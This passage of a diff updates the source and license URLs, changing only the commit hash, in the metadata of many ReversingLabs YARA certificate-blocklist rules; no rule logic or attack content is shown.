+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6b109b5636aa297a6e07f9d9213f7f07a7767b58442d03dc2f34f8a9b3eaba2b"
 		score = 75
 		quality = 90
@@ -4506,8 +4559,8 @@ rule REVERSINGLABS_Cert_Blocklist_08448Bd6Ee9105Ae31228Ea5Fe496F63 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2266-L2282"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2266-L2282"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "9bc044b4fdf381274a2c31bc997dcdfd553595d92de7b33dc472353a00011711"
 		score = 75
 		quality = 90
@@ -4531,8 +4584,8 @@ rule REVERSINGLABS_Cert_Blocklist_02F17566Ef568Dc06C9A379Ea2F4Faea : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2284-L2300"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2284-L2300"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "e3ec8a6de817354862880301e78a999f45f02c2fa8512bba6d27c9776f1a3417"
 		score = 75
 		quality = 90
@@ -4556,8 +4609,8 @@ rule REVERSINGLABS_Cert_Blocklist_7D824Ba1F7F730319C50D64C9A7Ed507 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2302-L2318"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2302-L2318"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "407611603974c910d9a6a0ed71ecdf54ddcc59abb0f48c60846e61d6d4191933"
 		score = 75
 		quality = 90
@@ -4581,8 +4634,8 @@ rule REVERSINGLABS_Cert_Blocklist_77A64759F12766E363D779998C71Bdc9 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2320-L2336"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2320-L2336"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "2bf3d99ddec6b76da1ca60a9285767a5b34b84455db58195fc5d8fd8a22c9f8a"
 		score = 75
 		quality = 90
@@ -4606,8 +4659,8 @@ rule REVERSINGLABS_Cert_Blocklist_0B0D17Ec1449B4B2D38Fcb0F20Fbcd3A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2338-L2354"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2338-L2354"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "3121f2c49d0d4c396023924521f2c980045b6f07d082e49447429e9cd640e0ef"
 		score = 75
 		quality = 90
@@ -4631,8 +4684,8 @@ rule REVERSINGLABS_Cert_Blocklist_Fe9404Dc73Cf1C2Ba1450B8398305557 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2356-L2374"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2356-L2374"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c0132d71de1384f6e534dd154eba88c4a51c43b7dfe984f3064ba4feffa4dd5a"
 		score = 75
 		quality = 90
@@ -4656,8 +4709,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Cb2D523A6Bf7A066642C578De1C9Be4 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2376-L2392"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2376-L2392"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "5a786b9ade5a59b8a1e0bbef1eb3dcb65404dcee19d572dc60f9ec9f45e4755b"
 		score = 75
 		quality = 90
@@ -4681,8 +4734,8 @@ rule REVERSINGLABS_Cert_Blocklist_3A6Ccabb1C62F3Be3Eb03869Fa43Dc4A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2394-L2410"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2394-L2410"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "ccb603c8a5f4fb63876e78d763f80a97098c23aa10673c7b04a48026268f57d3"
 		score = 75
 		quality = 90
@@ -4706,8 +4759,8 @@ rule REVERSINGLABS_Cert_Blocklist_864196F01971Dbec7002B48642A7013A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2412-L2430"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2412-L2430"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "a3173bb08e673caaa64ab22854840a135e891044b165bbc67733c951ec6aa991"
 		score = 75
 		quality = 90
@@ -4731,8 +4784,8 @@ rule REVERSINGLABS_Cert_Blocklist_4Fda1E121B61Adeca936A6Aebe079303 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2432-L2448"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2432-L2448"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "70a04c83e79c98024bacf1688bb46d80c9b8491e25dd32d6d92bf3cf61c62e48"
 		score = 75
 		quality = 90
@@ -4756,8 +4809,8 @@ rule REVERSINGLABS_Cert_Blocklist_03866Deb183Abfbf4Ff458D4De7Bd73A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2450-L2466"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2450-L2466"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "90d09d0d2d01500e0670277d0e8de574feecf7443cf4d077912b1166a9c14c43"
 		score = 75
 		quality = 90
@@ -4781,8 +4834,8 @@ rule REVERSINGLABS_Cert_Blocklist_1Be41B34127Ca9E6270830D2070Db426 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2468-L2484"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2468-L2484"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b66c4b9264be70d53838442a3112c4bacbdf2dda90840d71c3eb949e630b3f17"
 		score = 75
 		quality = 90
@@ -4806,8 +4859,8 @@ rule REVERSINGLABS_Cert_Blocklist_9B108B8A1Daa0D5581F59Fcee0447901 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2486-L2504"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2486-L2504"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "696e3da511f74f9cfb10b96130a36ae9f48c22f1e0deb76092db1262980ab3ac"
 		score = 75
 		quality = 90
@@ -4831,8 +4884,8 @@ rule REVERSINGLABS_Cert_Blocklist_5F8203C430Fc7Db4E61F6684F6829Ffc : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2506-L2522"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2506-L2522"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "cd22d1beea12d1f6c50f69e76074c2582ce5567887056c43d4d6c87d33fce1bf"
 		score = 75
 		quality = 90
@@ -4856,8 +4909,8 @@ rule REVERSINGLABS_Cert_Blocklist_6B6Daef5Be29F20Ddce4B0F5E9Fa6Ea5 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2524-L2540"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2524-L2540"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "edd2f302d2fac65f6a93372a24c3f80757f2b175af661032917366e9629c5491"
 		score = 75
 		quality = 90
@@ -4881,8 +4934,8 @@ rule REVERSINGLABS_Cert_Blocklist_57D6Dff1Ef96F01B9430666B2733Cc87 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2542-L2558"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2542-L2558"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "40d22137e9c5345859c5f000166da2a3117bcfcc19b4c5e81083cad80dfa6ee4"
 		score = 75
 		quality = 90
@@ -4906,8 +4959,8 @@ rule REVERSINGLABS_Cert_Blocklist_0166B65038D61E5435B48204Cae4795A : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2560-L2576"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2560-L2576"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "4e289eda4d5381250bcd6e36daade6f1e1803b6d16578d7eaee4454cef6981d0"
 		score = 75
 		quality = 90
@@ -4931,8 +4984,8 @@ rule REVERSINGLABS_Cert_Blocklist_784F226B45C3Bd8E4089243D747D1F59 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2578-L2594"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2578-L2594"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "df8ca35a07ec6815d1efb68fa6fbf8f80c57032ecb99d0b038da0604ceffe8cf"
 		score = 75
 		quality = 90
@@ -4956,8 +5009,8 @@ rule REVERSINGLABS_Cert_Blocklist_11690F05604445Fae0De539Eeeeec584 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2596-L2612"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2596-L2612"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "b66257f562f698559910eb9576f8fdf0ce3a750cc0a96a27e2ec1a18872ad13f"
 		score = 75
 		quality = 90
@@ -4981,8 +5034,8 @@ rule REVERSINGLABS_Cert_Blocklist_Aa146Bff4B832Bdbfe30B84580356763 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2614-L2632"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2614-L2632"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "37abe7a4fd773fd34f5d7dbe725ba4edcfb8ebb501dc41f386b8b0629161051f"
 		score = 75
 		quality = 90
@@ -5006,8 +5059,8 @@ rule REVERSINGLABS_Cert_Blocklist_E86F46B60142092Aae81B8F6Fa3D9C7C : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2634-L2652"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2634-L2652"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6de16a44bc84fbf8f1d3d82526e1d7f8fd4ae3da6deaa471c77d2c8df47a14b0"
 		score = 75
 		quality = 90
@@ -5031,8 +5084,8 @@ rule REVERSINGLABS_Cert_Blocklist_1A0Fd2A4Ef4C2A36Ab9C5E8F792A35E2 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2654-L2670"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2654-L2670"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "8e768415998a6a92961986cb0a9d310514d928be93b3e5a9aaa9ec71bf5886ad"
 		score = 75
 		quality = 90
@@ -5056,8 +5109,8 @@ rule REVERSINGLABS_Cert_Blocklist_53Bb753B79A99E61A6E822Ac52460C70 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2672-L2688"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2672-L2688"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "24ff4f46fa6e85c25e130459f9b8d6907cf6cd51098e0cf45ec11d54d7de509b"
 		score = 75
 		quality = 90
@@ -5081,8 +5134,8 @@ rule REVERSINGLABS_Cert_Blocklist_83F68Fc6834Bf8Bd2C801A2D1F1Acc76 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2690-L2708"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2690-L2708"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "35552242f9f0a56b45e30e6f376877446f33e24690ff5d7b03dc776fab178afd"
 		score = 75
 		quality = 90
@@ -5106,8 +5159,8 @@ rule REVERSINGLABS_Cert_Blocklist_F385E765Acfb95605C9B35Ca4C32F80E : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2710-L2728"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2710-L2728"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "c73c8f1913d3423a52f5e77751813460ae9200eb3cb1cc6e2ec30f37f0da8152"
 		score = 75
 		quality = 90
@@ -5131,8 +5184,8 @@ rule REVERSINGLABS_Cert_Blocklist_F62C9C4Efc81Caf0D5A2608009D48018 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2730-L2748"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2730-L2748"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "08fcff795297c0608b1a1d71465279cbf76d4dff06de2a2262a58debbb2f9e0d"
 		score = 75
 		quality = 90
@@ -5156,8 +5209,8 @@ rule REVERSINGLABS_Cert_Blocklist_Cc8D902Da36587C9B2113Cd76C3C3F8D : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2750-L2768"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2750-L2768"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "25e524d23ccc1c06f602a086369ffd44b8c97b76c29f068764081339556b3465"
 		score = 75
 		quality = 90
@@ -5181,8 +5234,8 @@ rule REVERSINGLABS_Cert_Blocklist_328Bdcc0F679C4649147Fbb3Eb0E9Bc6 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2770-L2786"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2770-L2786"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "6d9e1f25ca252ca9dda7714c52a2e57fd3b5dca08cd2a45c9dec18a31d3bb342"
 		score = 75
 		quality = 90
@@ -5206,8 +5259,8 @@ rule REVERSINGLABS_Cert_Blocklist_5F78149Eb4F75Eb17404A8143Aaeaed7 : INFO FILE
 		date = "2023-11-08"
 		modified = "2023-11-08"
 		reference = "ReversingLabs"
-		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/yara/certificate/blocklist.yara#L2788-L2804"
-		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/fb48728b76c37152bb200afb51847f82f75c50c7/LICENSE"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/certificate/blocklist.yara#L2788-L2804"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
 		logic_hash = "0c7c9e8d2a9304e0407b8a1a29977312a9ba766a4052c6b874855fa187c85585"
 		score = 75
 		quality = 90
@@ -5231,8 +5284,8 @@ rule REVERSINGLABS_Cert_Blocklist_629D120Dd84F9C1688D4Da40366Fab7A : INFO FILE
